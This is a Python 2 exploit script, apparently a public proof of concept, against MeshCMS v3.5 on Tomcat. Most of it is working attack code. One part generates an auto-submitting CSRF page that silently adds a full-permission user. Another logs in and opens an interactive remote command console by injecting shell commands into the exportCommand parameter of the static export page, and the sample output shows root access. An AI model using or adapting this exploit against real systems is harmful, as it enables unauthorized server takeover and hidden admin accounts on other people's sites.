#!/usr/bin/python
# MeshCMS v3.5 remote code execution exploit
# Environment:
# Tomcat 7.02/ubuntu 10.04
#
# 1) details:
# There is a add member/editor/admin CSRF vulnerability in this CMS which is very clean for an attacker. 
# The admin will not be told a user has been added and will land into the admin console without any other suspicion. 
# Additionally, the user cannot be simply deleted. Access to the filesystem is required to remove the 
# private/[username].xml config file required for the users authentication.
#
# 2) details:
# The CMS actually allows users to execute a command when they backup the website files to an arbitary location on the server. 
# This is simply a design flaw and it doesn't matter if you are a member, editor or admin. You can execute code.
#
# Further notes:
# If this CMS is deployed under tomcat, they will most likley be executing code @ tomcats privileges which is usually root.
# This exploit will attempt to target both 1) and 2).
#
# Usage:
# [mr_me@pluto meshcms]$ python ./meshmeup.py -c -t 192.168.1.15:8080 -d /meshcms/ -u test -P member
#
#	| ------------------------------------------ |
#	| MeshCMS v3.5 Remote Code Execution Explo!t |
#	| by mr_me - net-ninja.net ----------------- |
# 
# (+) Writing CSRF..
# (!) Done! check index.html
# [mr_me@pluto meshcms]$ python ./meshmeup.py -e -p localhost:8080 -t 192.168.1.15:8080 -d /meshcms/ -u test -P member 
#
#	| ------------------------------------------ |
# 	| MeshCMS v3.5 Remote Code Execution Explo!t |
#	| by mr_me - net-ninja.net ----------------- |
#
# (+) Testing proxy @ localhost:8080.. proxy is found to be working!
# (+) Logging into CMS.. Logged in successfully
# (+) Be patient, the first few requests are slow.
# (+) Entering interactive remote console (q for quit)
# 
# mr_me@192.168.1.15:8080# id
# 
# uid=0(root) gid=0(root) groups=0(root)
# 
# mr_me@192.168.1.15:8080# uname -a
# 
# Linux steven-desktop 2.6.32-27-generic #49-Ubuntu SMP Wed Dec 1 23:52:12 UTC 2010 i686 GNU/Linux
# 
# mr_me@192.168.1.15:8080# q

import sys, urllib, re, urllib2, getpass
from optparse import OptionParser
from random import choice
from cookielib import CookieJar

usage = "./%prog [<options>] -t [target] -d [directory] -u [user] -P [password]"
usage += "\nExample 1: ./%prog -c -t 192.168.1.15 -d /meshcms/ -u test -P member"
usage += "\nExample 2: ./%prog -e -p localhost:8080 -t 192.168.1.15 -d /meshcms/ -u test -P member"

parser = OptionParser(usage=usage)
parser.add_option("-p", type="string",action="store", dest="proxy",
                  help="HTTP Proxy <server:port>")
parser.add_option("-t", type="string", action="store", dest="target",
                  help="The Target server <server:port>")
parser.add_option("-d", type="string", action="store", dest="dirPath",
                  help="Directory path to the CMS")
parser.add_option("-u", type="string", action="store", dest="username",
                  help="Member/Editor/Admin username")
parser.add_option("-P", type="string", action="store", dest="password",
                  help="Member/Editor/Admin password")
parser.add_option("-c", action="store_true", dest="csrf",
                  help="Create the add member CSRF")
parser.add_option("-e", action="store_true", dest="exploit",
                  help="Exploit the target with a shell (requires a valid account)")

(options, args) = parser.parse_args()

def banner():
    print "\n\t| ------------------------------------------ |"
    print "\t| MeshCMS v3.5 Remote Code Execution Explo!t |"
    print "\t| by mr_me - net-ninja.net ----------------- |\n"

if len(sys.argv) < 9:
	banner()
	parser.print_help()
	sys.exit(1)

agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",
        "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",
        "Microsoft Internet Explorer/4.0b1 (Windows 95)",
        "Opera/8.00 (Windows NT 5.1; U; en)"]

def getProxy():
    try:
        proxy_handler = urllib2.ProxyHandler({'http': options.proxy})
    except(socket.timeout):
            print "\n(-) Proxy timed out"
            sys.exit(1)
    return proxy_handler
	
def testProxy():
	sys.stdout.write("(+) Testing proxy @ %s.. " % (options.proxy))
	sys.stdout.flush()
	opener = urllib2.build_opener(getProxy())
	try:
		check = opener.open("http://www.google.com").read()
	except:
		check = 0
		pass
	if check >= 1:
		sys.stdout.write("proxy is found to be working!\n")
		sys.stdout.flush()
	else:
		print "proxy failed, exiting.."
		sys.exit(1)

def writeCsrf():
	print "(+) Writing CSRF.."
	csrf = ("<html><body onload='document.f.submit()'>"
	"<form method=post name=f action=\"http://%s%smeshcms/admin/edituser2.jsp\">"
	"<input type=\"hidden\" name=\"new\" value=\"true\">"
	"<input type=\"hidden\" name=\"username\" value=\"%s\">"
	"<input type=\"hidden\" name=\"permissions\" value=\"16777215\">"
	"<input type=\"hidden\" name=\"password1\" value=\"%s\">"
	"<input type=\"hidden\" name=\"password2\" value=\"%s\"></form></body></html>" % 
	(options.target, options.dirPath, options.username, options.password, options.password))
	try:
		mycsrf = open("index.html", "w")
		mycsrf.write(csrf)
		mycsrf.close()
	except:
		print "(-) Failed writing csrf.. exiting."
	print "(!) Done! check index.html"

def interactiveAttack(opener):
	print "(+) Be patient, the first few requests are slow."
        print "(+) Entering interactive remote console (q for quit)\n"
        hn = "%s@%s# " % (getpass.getuser(), options.target)
        cmd = ""
        while cmd != 'q':
                try:
			cmd = raw_input(hn)
			cmd = '+'.join(cmd.split())
			sploit = ("http://%s%smeshcms/admin/staticexport2.jsp?exportBaseURL=http://%s%smeshcms/"
        		"admin/help/en/index.html&exportDir=/tmp&exportCheckDates=true&exportCommand=%s&exportSaveConfig=true"
        		% (options.target, options.dirPath, options.target, options.dirPath, cmd))
        		try:
                		check = opener.open(sploit).read()
        		except urllib2.HTTPError, error:
                		check = error.read()
                		pass

			try:
				resp = check.split("standard output:")[1].split("end of standard output")[0]		
        			print resp
			except:
				pass

		except:
			break
	print "\n(-) Exiting.."

def doLogin():
	sys.stdout.write("(+) Logging into CMS.. ")
	sys.stdout.flush()
	adminIndex = "http://" + options.target + options.dirPath + "meshcms/admin/login.jsp"
	values = {'username' : options.username, 'password' : options.password } 
	data = urllib.urlencode(values)
	cj = CookieJar()
	if options.proxy:
		try:
			opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
			check = opener.open(adminIndex, data).read()
		except:
			print "\n(-) Proxy connection failed to remote target"
			sys.exit(1)
	else:
        	try:
			opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
			check = opener.open(adminIndex, data).read()
        	except:
			print "(-) Target connection failed, check your address"
			sys.exit(1)
	if re.search("Login successful", check):
		sys.stdout.write("Logged in successfully\n")
		sys.stdout.flush()
	else:
		sys.stdout.write("Login Failed! Exiting..\n")
		sys.stdout.flush()
		sys.exit(1)
	return opener

if __name__ == "__main__":
	banner()
	if options.exploit:
		if options.proxy:
			testProxy()
		myopener = doLogin()
		interactiveAttack(myopener)
	elif options.csrf:
		writeCsrf()
		addadmin = ""